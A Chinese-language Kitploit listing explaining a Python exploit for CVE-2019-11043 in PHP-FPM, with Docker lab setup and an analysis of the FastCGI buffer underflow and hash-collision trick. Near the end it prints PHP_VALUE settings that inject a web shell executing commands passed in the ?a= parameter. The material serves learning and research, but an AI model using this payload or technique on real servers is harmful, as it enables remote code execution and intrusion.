Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-11043 — PHP-FPM Remote Command Execution Exploit | Kitploit
工具/GitHubGitHub/lindemer/cve-2019-11043
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHublindemer/cve-2019-11043

CVE-2019-11043

PHP-FPM Remote Command Execution Exploit

查看仓库
425年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-11043

PHP-FPM 远程代码执行

演示视频: https://youtu.be/d6benC5FVZM

概述

该针对常见 PHP-FPM 配置的零日漏洞是在 2019 年 Realworld CTF 比赛中发现的。正则表达式用于解析请求的 URI,但换行符 %0a 并不被匹配。这会触发 FastCGI 中的一个错误,导致查询字符串长度计算错误,并在预期缓冲区 之前 的位置写入一个空字节。通过精心选择查询字符串长度,攻击者可以利用此漏洞覆盖服务器上的内部 PHP 变量,并执行任意 shell 代码。

该漏洞的原始 Go 语言实现可以在这里找到。我参考了该实现、一篇分析文章以及原始的错误报告,作为学习资源以在 Python 中实现该漏洞。

使用说明

Linux 上的 Docker 运行 sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 以实例化一个精简的 NGINX/PHP-FPM 服务器,其中包含一个空脚本 /script.php。该镜像的 Dockerfile 可在此处获取,但运行上述命令并不需要它。

Mac 上的 Docker 从 vulhub 仓库中的 /php/CVE-2019-11043 目录运行 sudo docker-compose up -d。(Compose 已包含在 Docker for Mac 中。)

使用命令 python3 exploit.py http://localhost:8080/script.php(如果使用了第二个选项则为 index.php)运行漏洞脚本。成功执行后,可通过在 URL 后附加 ?a= 及命令来访问一个 Web shell(例如,http://localhost:8080/script.php?a=uname -a)。

注意:我曾尝试为此任务创建 Ansible playbook,但遇到了一个致命的错误,记录在此处。无法在当前 Linux 内核版本(如任何 Ubuntu LTS 发行版)上使用 Ansible playbook 启动 systemd 服务。

理论

漏洞

PHP-FPM 配置文件包含一条规则,用于匹配传入的 URI 请求与 PHP 脚本,该规则通常如下所示:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

这_应该_匹配任何形如 /script.php/pathinfo 的 URI,但 . 实际上不匹配换行符 %0a。如果 URI 包含换行符,则会触发 PHP 实现中的以下错误:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* 回忆:PATH_INFO 将不存在 */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

问题在于 slen 正确计算为 URI 长度减去资源路径长度,但 pilen 被错误地设置为 0。这导致第 1151 行将 path_info 设置为一个 负数,从而造成缓冲区下溢。紧接着在这个错误计算之后,同一文件中有:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

在第 1161 行,一个空字节被写入前一步计算错误的内存位置。这可用于利用第 1165 行中的漏洞,FastCGI 在那里写入一个环境变量。通过将空字节写入控制环境变量写入操作的指针,我们可以在 HTTP 请求中向环境注入任意的 PHP 变量。

利用

FastCGI 内部数据结构

环境变量在 FastCGI 中以紧凑排列的键值字符串序列存储在内存中。存储这些字符串的缓冲区的开始和结束称为 _fcgi_data_seg。pos 成员指向下一个可写入的位置。如果缓冲区满了(pos > end),则分配一个新的缓冲区,next 成员指向旧的缓冲区。

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI 使用一个名为 _fcgi_hash 的哈希表来访问单个环境变量。

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

思路是覆盖 pos 的最低有效字节,以欺骗 FastCGI 覆盖现有的变量。代码_应该_将附加到 URI 路径的字符串放入 PATH_INFO 的位置。然而,我们想覆盖 PHP_VALUE,因为该值在漏洞代码段之后会立即被检索并加载到 PHP 设置中。

数据对齐

正如你在 exploit.py 中看到的,此漏洞的总体思路是找到一个非常长的 URI 查询,使 FastCGI 的内存缓冲区以我们可以利用的方式对齐。关键是找到所需的确切字符数,以使 FastCGI 分配一个新的 _fcgi_data_seg 缓冲区。当这种情况发生时,FastCGI 会可预测地将我们的 PATH_INFO 写入新缓冲区,紧接着将我们的每个 HTTP 标头作为新的环境值写入。因此,下一步是找到我们需要填充任意 HTTP 标头的字符数,以便按我们的目的对齐内存。由于我们只能在一个任意位置写入一个空字节,我们需要让 pos 指向 PHP_VALUE 的一个可预测偏移量,以便编辑最低有效字节将其移动到那里。

哈希表绕过

挑战在于我们想要覆盖 PHP_VALUE,但不知道它在内存中的位置。当 FastCGI 加载此变量时,它将根据一个简单的算法对字符串 PHP_VALUE 进行哈希运算以获取实际内存地址:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

我们实际上不需要以某种方式修改哈希表,只需要创建另一个具有相同字符串长度和哈希值(根据此函数)的环境变量。这将欺骗哈希查找读取我们的 HTTP 标头,而不是目标变量。该漏洞的作者巧妙地指出,名为 EBUT 的标头在 FastCGI 环境中将被保存为 HTTP_EBUT,这满足了这个要求。

代码注入

对于攻击本身,我们发送包含 EBUT 标头的 GET 请求,并利用空字节覆盖漏洞覆盖其值。我们尝试通过重复请求逐一设置 PHP 环境变量:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?= `\"
extension=\"$_GET[a]`?>\"

成功修改所有这些变量后,服务器上的 ?a= 查询便可执行任意 shell 代码。攻击循环通过尝试执行 which which 来检查每次迭代的成功与否。攻击者可以通过读取 HTTP 响应中的结果(例如 /bin/which)轻松检测是否成功。

下载工具